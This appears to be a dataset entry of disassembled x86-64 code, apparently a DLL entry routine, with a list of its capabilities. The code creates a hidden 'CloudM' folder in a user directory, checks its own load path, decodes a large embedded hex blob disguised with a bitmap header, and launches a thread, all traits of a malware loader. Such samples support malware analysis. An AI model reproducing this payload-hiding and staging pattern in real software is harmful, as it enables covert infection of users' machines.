Function at 0x180002630
Capabilities:
Check if file exists
Create directory
Create thread
Get common file path
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x1800f9018]
xor rax, rsp
mov qword [rsp + 0x270], rax
cmp edx, 1
jne 0x180002836
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rcx, [fcn.180002620]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rbx, [0x1800f9720]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x1800026a9
mov r9d, 0x10
lea r8, [0x1800f6154]
lea rdx, [0x1800f6160]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r8, str.CloudM
mov edx, 0x104
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1800026f2
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x180002840
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rdx, str.424d02c703000000000036000000280000002c010000130100000100180000000000ccc6030000000000000000000000000000000000c00964408a8888c04f0cace089888888888888c04f0cac8889888888888888c04f0cac288a888888888888c04f0cace889888888888888edc0038cade8888888c0010cacf08a8888c0030cacf08a8888c003c890c0010cac088a8888c0030cac088a8888c003c8a8c0010cac58898888c0030cac58898888c003c8d8c0010cac208a8888c0030cac58898888c00388c0010cac50898888c0030cac50898888c003c8d8c0010cac388a8888c0030cac50898888c00388c0010cac68898888c0030cac68898888c003c8d8c0010cac308a8888c0030cac68898888c003c8a8c0010cac18888888c0030cac18888888c0010cac008a8888c0030cac008a8888c0ebc8b4c00304ac18888888c08b40c00349c0010cac60898888c0030cac60898888c08d00888888c0010cacb08988883080888888c0e34888c00304acb0898888c08b40c00349c0010cacb0898888c0030cacb08988880388c00304ac18888888c08b40c00349c0010cac50888888c0030cac5088888803c884010cac808a8888c0030cac5088888803c89c010cac18898888c0030cac5088888803c890010cac1c898888c0030cac5088888803c894c00304ac18888888c08b40c00349c0010cacc8898888c0030cac5088888803c8a8c00304ac18888888c08b40c00349c0010cac70898888c0030cac5088888803c8acc00304ac18888888c08b40c00349c0010cac788988884eccacd0df4eccacd1fd4eccacd20c4eccacd3e84eccacd40a4eccacd5f74eccacd6fb4eccacd7d94eccace8fc4eccace9fc4eccacea0a4eccacebfd4eccacec0b4eccaced0b4eccacee884fccacf888888888638203ccacf8774801ccacf8c0ebccacf8c00b7086fb90c0ebccacf8873ecc8cd00b6098c0ebc4acf800cc84d0635b4eccacb8d44eccacb9f74eccacbaf94eccacbbfc4eccacbcd44eccacbdf14eccacbefa4eccacbf0a4eccacb0f94eccacb10a4eccacb2014eccacb3d94eccacb4884fccacfc88888888638203ccacfc774801ccacfcc0ebccacfcc00b7084fb90c0ebccacfc873ecc8cb80b6098c0ebc4acfc00cc84b8635b4eccacc8ee4eccacc9f14eccacca0a4eccaccb0c4eccaccc0d4eccaccdf94eccaccef44eccaccfd94eccacc0f44eccacc1f44eccacc2f74eccacc3fb4eccacc4884fccacf088888888638203ccacf0774801ccacf0c0ebccacf0c00b7084fb90c0ebccacf0873ecc8cc80b6098c0ebc4acf000cc84c8635b4fccace089888888638203ccace0774801ccace0030cac18898888b1ccace0870f4b8d88884fccacf488888888638203ccacf4774801ccacf4030cac1c898888b1ccacf4870b118d888803ccacf4c00304ac78898888873f8cc9b3ccace0870df28d888803ccacf4c00304ac70898888038c09010cac10898888030cac10898888c00304ac18888888c08b40c00349c001ccaca8c003ccaca88736883189888888c0e34188873ec484d0b349870d32898888c003ccaca88736c8893189888888c0e34189873ec484d0b349870d13898888c003ccaca88736c88a3189888888c0e3418a873ec484d0b349870df4898888c003ccaca88736c88b3189888888c0e3418b873ec484d0b349870dd5898888c003ccaca88736c88c3189888888c0e3418c873ec484d0b349870db6898888c003ccaca88736c88d3189888888c0e3418d873ec484d0b349870d97898888c003ccaca88736c88e3189888888c0e3418e873ec484d0b349870d88898888c003ccaca88736c88f3189888888c0e3418f873ec484d0b349870d69888888c003ccaca88736c8803189888888c0e34180873ec484d0b349870d4a888888c003ccaca88736c8813189888888c0e34181873ec484d0b349870d2b888888c003ccaca88736c8823189888888c0e34182873ec484d0b349870d0c888888c003ccaca88736c8833189888888c0e34183873ec484d0b349fde1c003ccaca88736c8843189888888c0e34184873ec484d0b349fdc6c003ccaca88736c8853189888888c0e34185873ec484d0b349fdbb03ccace0c00304acc8898888038c09010cac90898888030cac90898888c00304ac18888888c08b40c00349c0010cace0898888c003ccaca88736883189888888c0e34188873ec484b8b349870d13898888c003ccaca88736c8893189888888c0e34189873ec484b8b349870df4898888c003ccaca88736c88a3189888888c0e3418a873ec484b8b349870dd5898888c003ccaca88736c88b3189888888c0e3418b873ec484b8b349870db6898888c003ccaca88736c88c3189888888c0e3418c873ec484b8b349870d97898888c003ccaca88736c88d3189888888c0e3418d873ec484b8b349870d88898888c003ccaca88736c88e3189888888c0e3418e873ec484b8b349870d69888888c003ccaca88736c88f3189888888c0e3418f873ec484b8b349870d4a888888c003ccaca88736c8803189888888c0e34180873ec484b8b349870d2b888888c003ccaca88736c8813189888888c0e34181873ec484b8b349870d0c888888c003ccaca88736c8823189888888c0e34182873ec484b8b349fde1c003ccaca88736c8833189888888c0e34183873ec484b8b349fdc6c003ccaca88736c8843189888888c0e34184873ec484b8b349fdbb03ccace0c00304acc8898888038c09010cac94898888030cac94898888c00304ac18888888c08b40c00349c0010cace8898888c003ccaca88736883189888888c0e34188873ec484c8b349870d13898888c003ccaca88736c8893189888888c0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], dil
jne 0x180002751
lea rcx, [rsp + 0x40]
call fcn.180002260
nop
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.180001240
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x1800027fb
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x1800027fb
mov rcx, rbx
call fcn.180001420
mov rcx, rbx
call fcn.180002c30
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800027d7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800027d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000282f
call fcn.180002c30
call fcn.1800016b0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x180002500]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x180002840
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800027d7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800027d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800027d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test edx, edx
jne 0x180002840
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180002c10
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret